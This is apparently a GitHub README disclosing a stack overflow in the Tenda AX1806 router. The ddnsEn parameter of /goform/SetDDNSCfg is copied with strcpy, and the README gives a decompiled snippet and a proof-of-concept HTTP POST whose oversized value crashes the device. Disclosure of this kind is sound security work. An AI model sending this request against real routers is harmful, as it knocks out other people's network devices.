c0rn-0x2d1 Update README_zh.md ... on Feb 9 History

..

image	10 months ago
README.md	10 months ago
README_zh.md	10 months ago

README.md

Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/SetDDNSCfg` page which influences the lastest version of Tenda Router AX1806 v1.0.0.1: https://www.tenda.com.cn/download/detail-3306.html

There is a stack overflow vulnerability in the `formSetSysToolDDNS` function.

The `v2` variable is obtained directly from the http request parameter `ddnsEn` .

This function uses strcpy to copy the **variable v2 to the stack variable v15** without any sercuity check.

```
42  v2 = webgetvar(a1, (int)"ddnsEn", (int)"0");
43  strcpy(v15, v2);
```

So attacker can construct **a long ddnsEn parameter** in the http request,which causes stack overflow.

POC

Poc of Denial of Service(DoS):

```
POST /goform/SetDDNSCfg HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 2743

ddnsEn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```